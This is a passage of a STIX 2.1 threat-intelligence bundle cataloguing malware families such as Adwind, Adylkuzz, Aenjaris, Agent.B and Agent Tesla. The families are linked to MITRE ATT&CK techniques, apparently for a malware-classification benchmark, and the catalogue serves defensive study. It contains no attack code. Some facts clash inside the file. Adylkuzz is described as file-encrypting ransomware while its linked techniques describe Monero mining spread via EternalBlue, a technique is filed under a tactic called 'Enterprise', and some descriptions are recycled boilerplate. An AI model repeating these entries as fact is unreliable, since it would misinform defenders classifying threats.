        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--323bb8fd-cb37-5d3c-ac41-825d5e49148c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8945436-dc1b-5b67-89d3-91b02ef09946",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwind exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4863af84-ddad-527b-aaef-df382973ed2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8945436-dc1b-5b67-89d3-91b02ef09946",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwind exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ef3b6fe-df80-5c80-8cfe-6cc58f349f87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8945436-dc1b-5b67-89d3-91b02ef09946",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwind exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1125: Video/Audio Capture",
      "description": "MITRE ATT&CK Technique T1125 (Video/Audio Capture) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1125",
          "url": "https://attack.mitre.org/techniques/T1125/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ab91031-6d5b-578d-8bdb-a0255eaa42d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8945436-dc1b-5b67-89d3-91b02ef09946",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwind exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e9e8af4-1d55-5010-b5e5-81a52e8658f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adylkuzz",
      "description": "Adylkuzz (classified in antivirus detection telemetry under designations including Ransom:Win32/Adylkuzz, Ransom.Win32.Adylkuzz, and Win32/Adylkuzz) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adylkuzz executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Adylkuzz",
        "Ransom.Win32.Adylkuzz",
        "Win32/Adylkuzz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adylkuzz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adylkuzz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1496: Resource Hijacking (The core function of mining Monero cryptocurrency)",
      "description": "MITRE ATT&CK Technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1496",
          "url": "https://attack.mitre.org/techniques/T1496/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3cc8283-d96e-5fa6-abea-505dab33793d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e9e8af4-1d55-5010-b5e5-81a52e8658f7",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adylkuzz exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1210: Exploitation of Remote Services (Using EternalBlue to spread laterally)",
      "description": "MITRE ATT&CK Technique T1210 (Exploitation of Remote Services (Using EternalBlue to spread laterally)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1210",
          "url": "https://attack.mitre.org/techniques/T1210/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89ff25b1-b3b6-5835-a67b-7d0422846284",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e9e8af4-1d55-5010-b5e5-81a52e8658f7",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adylkuzz exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue to spread laterally))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1e315e1-215a-584a-9e99-945043151e68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e9e8af4-1d55-5010-b5e5-81a52e8658f7",
      "target_ref": "attack-pattern--6edf2a5f-9dca-50d0-8c72-059ff58bba2a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adylkuzz exhibits technique T1505.003 (Server Software Component: Web Shell / Backdoor (Using DoublePulsar to drop the miner))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1562.004: Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware)",
      "description": "MITRE ATT&CK Technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1562.004",
          "url": "https://attack.mitre.org/techniques/T1562/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaeed81b-b477-53ef-b80c-add7076ee005",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e9e8af4-1d55-5010-b5e5-81a52e8658f7",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adylkuzz exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef4e6ac2-cde8-5a99-afd8-44b8d000e841",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aenjaris",
      "description": "Aenjaris (classified in antimalware research telemetry under designations including Trojan:Win32/Aenjaris, Trojan:Win32/Aenjaris.A, and Win32/Aenjaris) is a stealthy Windows-based trojan designed to execute unauthorized remote instructions, collect system telemetry, and compromise endpoint integrity. Distributed through weaponized spearphishing email attachments, exploit kits, and malicious software cracks, Aenjaris deploys an obfuscated initial stager that checks for virtualization indicators and debugging environments. Upon successful host profiling, it writes persistence values under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and injects its core DLL into legitimate Windows processes such as explorer.exe or svchost.exe using process hollow or thread hijacking techniques. Aenjaris establishes encrypted HTTP/HTTPS command-and-control channels, allowing operators to exfiltrate cached browser credentials, execute arbitrary command shell directives, download secondary malware payloads, and modify system settings. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Aenjaris",
        "Trojan:Win32/Aenjaris.A",
        "Trojan:Win32/Aenjaris.B",
        "Win32/Aenjaris",
        "Backdoor:Win32/Aenjaris"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aenjaris",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aenjaris"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--901f4eb6-1961-5320-b5a0-6e3c94ed0616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e6ac2-cde8-5a99-afd8-44b8d000e841",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aenjaris exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77319a87-ac53-5ef5-8479-ac922f51f147",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e6ac2-cde8-5a99-afd8-44b8d000e841",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aenjaris exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9116d6b2-2774-51c7-8971-b81e26718272",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e6ac2-cde8-5a99-afd8-44b8d000e841",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aenjaris exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6ede50d-190a-585e-913b-d1dd9c353827",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e6ac2-cde8-5a99-afd8-44b8d000e841",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aenjaris exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d81e22d-24b1-5591-a69b-f4c3ee1bfbde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e6ac2-cde8-5a99-afd8-44b8d000e841",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aenjaris exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d1f68e27-59e9-5112-9466-b374e7336dd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aero",
      "description": "Aero (frequently cataloged in security telemetry as AERO Sample or BrowserModifier:Win32/Aero) represents a persistent category of Potentially Unwanted Applications (PUA) and browser hijackers. Designed to silently subvert web browsing sessions, Aero injects unauthorized extensions, modifies local browser preferences, and forcibly redirects default search provider queries through monetization syndication gateways. Once executed, it alters DNS helper entries, modifies local Windows shortcut targets (LNK hijacking) to append promotional URLs, and floods user interfaces with aggressive popup banners and interstitial ads. Distributed predominantly via aggressive software bundling wrappers and deceptive fake media player download portals, Aero frequently caused administrative confusion because its moniker mirrored Microsoft's legitimate 'Windows Aero' glass UI interface introduced in Windows Vista and 7. Beyond adware display, Aero's persistent background worker monitored active HTTP sessions, capturing telemetry on search habits and submitting referrer traffic to fraudulent pay-per-click ad networks.",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "AERO Sample",
        "PUP.Aero",
        "BrowserModifier.Aero"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aero",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aero"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4299f4e8-4c03-5967-a118-fb0ac4b8087a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1f68e27-59e9-5112-9466-b374e7336dd5",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aero exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f50afad4-5027-5dc2-b622-861478305c58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1f68e27-59e9-5112-9466-b374e7336dd5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aero exhibits technique T1562.001 (Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffa26e4f-acab-552b-97a7-985b02ad6120",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1f68e27-59e9-5112-9466-b374e7336dd5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aero exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df3ce2e0-7801-5b33-8cbd-c7d8ae51a152",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1f68e27-59e9-5112-9466-b374e7336dd5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aero exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37ee2e72-62f3-56c5-a61c-189819c87c58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agen",
      "description": "Agen (classified in antivirus detection telemetry under designations including Trojan:Win32/Agen, Trojan.Win32.Agen, and Win32/Agen) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Agen executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1,335)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Agen",
        "Malware.Agen",
        "Win32/Trojan.Generic",
        "Trojan:Win32/Agen",
        "Trojan.Win32.Agen",
        "Win32/Agen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agen"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13cabf40-8e13-50cc-9ca8-ed594d065f01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37ee2e72-62f3-56c5-a61c-189819c87c58",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agen exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--381d85d2-3640-5ceb-841a-50802507aa56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37ee2e72-62f3-56c5-a61c-189819c87c58",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agen exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eedc8ff-fc5e-5306-ac91-1e72f7feb3a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37ee2e72-62f3-56c5-a61c-189819c87c58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agen exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b060bfe6-8a22-5ae9-b0a0-4853cf3dc00e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agentb",
      "description": "Agent.B (classified across commercial antivirus vendors as Trojan:Win32/Agent.B, Trojan-Downloader.Win32.Agent.b, and Backdoor.Agent.B) is a long-standing, prolific Trojan downloader and initial access implant. Designed to act as a lightweight, stealthy staging loader, Agent.B infiltrates Windows endpoints via malicious email attachments, drive-by downloads, and compromised software bundles. Once executed, the trojan establishes persistence in user Run registry keys, collects host fingerprint telemetry (including operating system build, active antivirus products, and IP geography), and beacons over HTTP/HTTPS to attacker-controlled command servers. Based on C2 instructions, Agent.B dynamically downloads and executes high-severity secondary payloads, including banking trojans, ransomware, and credential stealers. (Observed samples in benchmark: 449)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Agent.B",
        "Trojan-Downloader.Win32.Agent.b",
        "Backdoor.Agent.B",
        "Win32/Agent.B.Downloader",
        "Trojan.Agent.B"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agentb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agentb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--490ddf5b-c0c2-5bc9-be24-a50e42768f36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b060bfe6-8a22-5ae9-b0a0-4853cf3dc00e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a324d953-d7c8-5972-8f58-6a764af6870b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b060bfe6-8a22-5ae9-b0a0-4853cf3dc00e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentb exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6d11aeb-7560-5679-89eb-d179aad88a4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b060bfe6-8a22-5ae9-b0a0-4853cf3dc00e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bbd231b-e399-52e1-a62a-9c0900ef0c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b060bfe6-8a22-5ae9-b0a0-4853cf3dc00e",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentb exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b72d1760-9ab0-5701-ac46-4f0c5ebc6b66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b060bfe6-8a22-5ae9-b0a0-4853cf3dc00e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31a0e914-c452-5941-8b52-68bbe8318043",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agenttesla",
      "description": "Agent Tesla is an accessible, highly ubiquitous commercial info-stealer and keylogger built on the Microsoft .NET framework. First surfacing in late 2014, the tool was initially marketed openly as a legitimate remote management and parental surveillance tool on clearnet websites before transitioning into an underground Malware-as-a-Service (MaaS) staple.\n\nAgent Tesla specializes in harvesting stored authentication credentials from dozens of desktop applications, including web browsers (Google Chrome, Mozilla Firefox, Microsoft Edge), email clients (Outlook, Thunderbird), FTP utilities (FileZilla, WinSCP), and VPN software. Additionally, it records keystrokes, captures clipboard contents, and periodically takes desktop screenshots. The malware is notable for its versatile and redundant exfiltration methods: operators can configure the binary to dispatch captured telemetry back to them over outbound SMTP email, FTP uploads, direct HTTP POSTs to custom web panels, or via the Telegram Bot API and Discord webhooks. Agent Tesla is predominantly distributed as malicious attachments in spear-phishing campaigns targeting supply chain, shipping, logistics, and energy organizations. (Observed samples in benchmark: 43)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Agent Tesla",
        "AgentTesla",
        "InfoStealer.AgentTesla",
        "Keylogger.AgentTesla",
        "MSIL/AgentTesla"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agenttesla",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agenttesla"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--723fe02a-2d84-5234-b94b-36bcd0f251f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31a0e914-c452-5941-8b52-68bbe8318043",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agenttesla exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3f0590d-d91d-5512-a8e1-f4f78019bc01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31a0e914-c452-5941-8b52-68bbe8318043",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agenttesla exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1555.003: Credentials from Web Browsers",
      "description": "MITRE ATT&CK Technique T1555.003 (Credentials from Web Browsers) under tactic Enterprise.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1555.003",
          "url": "https://attack.mitre.org/techniques/T1555/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ede334-12c7-5f29-8c48-480a17ef8e8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31a0e914-c452-5941-8b52-68bbe8318043",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agenttesla exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81a6c298-fbef-58b6-b9dc-b67edfc1c654",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31a0e914-c452-5941-8b52-68bbe8318043",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agenttesla exhibits technique T1048.003 (Exfiltration Over Unencrypted Non-C2 Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--431baad6-b651-5936-ac41-bf0f5caa6a09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agentus",
